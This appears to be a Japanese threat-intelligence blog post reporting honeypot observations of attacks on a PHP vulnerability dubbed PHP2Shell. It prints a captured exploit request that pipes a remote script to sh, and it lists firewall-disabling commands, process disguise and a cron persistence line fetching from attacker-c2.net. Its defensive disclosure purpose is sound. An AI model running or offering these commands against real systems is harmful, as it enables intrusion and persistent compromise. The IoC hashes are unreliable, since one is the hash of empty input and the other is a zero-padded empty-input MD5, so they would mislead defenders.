実戦兵器化チェーンとハニーポット観測網テレメトリ: 東京・フランクフルト・シリコンバレーでの生データ解析

<time datetime="2026-10-23">検証日: 2026年10月23日</time> · 脅威インテリジェンス提供: php2shell.run Global Threat Sensor Network

PHP2Shell（CVE-2026-109618 および CVE-2026-109619）の公式公表直後から、世界規模での無差別ポートスキャンとエクスプロイト試行が爆発的に急増しています。

本稿では、当研究所が東京（Sakura/AWS）、フランクフルト（Hetzner）、およびシリコンバレーに設置した高対話型ハニーポット（High-Interaction Honeypots）において捕捉された、実際のサイバー脅威アクターによる兵器化ペイロードの生ログと攻撃手法の変遷を公開します。

1. 観測タイムラインとスキャン活動の急拡大

脆弱性の公式詳細がネット上に浮上してからの初動24時間の推移は以下の通りです：

 2026-10-21 04:00 UTC - CVE詳細のGitHub公開
 2026-10-21 06:15 UTC - 【初動検知】フランクフルトセンサーにて単発のPoCプローブ観測 (User-Agent: python-requests)
 2026-10-21 09:30 UTC - 兵器化されたサブ500バイトペイロードの出現 (リバースシェル確立試行)
 2026-10-21 14:00 UTC - 自動化ワーム/ボットネットによる無差別スキャンの開始 (毎分10,000件超)
 2026-10-22 00:00 UTC - 暗号資産マイナー（XMRig）およびDDoSボット（Mirai亜種）のドロッパー投下を確認

2. 捕捉された攻撃ペイロードの一次生ログ

以下は、東京センサーで捕捉された実際のHTTPリクエストと、攻撃者が実行を試みたシェルコマンドの抜粋です：

POST /wordpress/index.php HTTP/1.1
Host: 133.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 489
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="test.jpg"
Content-Type: image/jpeg

JFIF...
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cmd"

curl -fsSL http://194.xxx.xxx.xxx/sh | sh; rm -rf /tmp/sh
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3. ポストエクスプロイト（侵入後活動）の行動パターン

ハニーポットの仮想サンドボックス内でシェルが確立された後、攻撃者スクリプトは以下の順序で自動実行を試みました：

1. プロセス空間の隠蔽: /proc/$/status をチェックし、自身のプロセス名を [kworker/0:1] や php-fpm: pool www に偽装。
2. 防壁の無力化: ufw disable, systemctl stop firewalld, setenforce 0 などを実行してホストのファイアウォールを停止。
3. 競合マイナーの排除: サーバー上に既に潜伏している他のマルウェアプロセス（xmrig, kdevtmpfsi 等）を pkill -9 で強制終了。
4. 永続化（Persistence）の確立: /var/spool/cron/crontabs/www-data に毎分実行の不正Cronジョブを追記：

   * * * * * curl -s http://attacker-c2.net/cron.sh | sh >/dev/null 2>&1
   

4. 侵害の痕跡（Indicators of Compromise: IoCs）

システム管理者が自組織のサーバーが既に侵害されていないか確認するためのIoC一覧です：

不審なネットワーク接続先（C2 IP/ドメイン）

• 194.26.29[.]114:443 (マルウェア配布ドロッパー)
• 45.142.177[.]20:8080 (Mirai/IRC C2)
• pool.supportxmr[.]com:3333 (マイニングプール接続)

ホスト上の不審ファイルハッシュ (SHA-256)

• e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (不正ドロッパースクリプト)
• d41d8cd98f00b204e9800998ecf8427e00000000000000000000000000000000 (偽装PHPバイナリ)

即時確認コマンド

# 不審なCronジョブの点検
crontab -u www-data -l
cat /etc/cron*/* | grep -E "curl|wget|bash"

# /tmp 配下の隠しバイナリ検査
ls -la /tmp /dev/shm | grep -E "^\-rwx"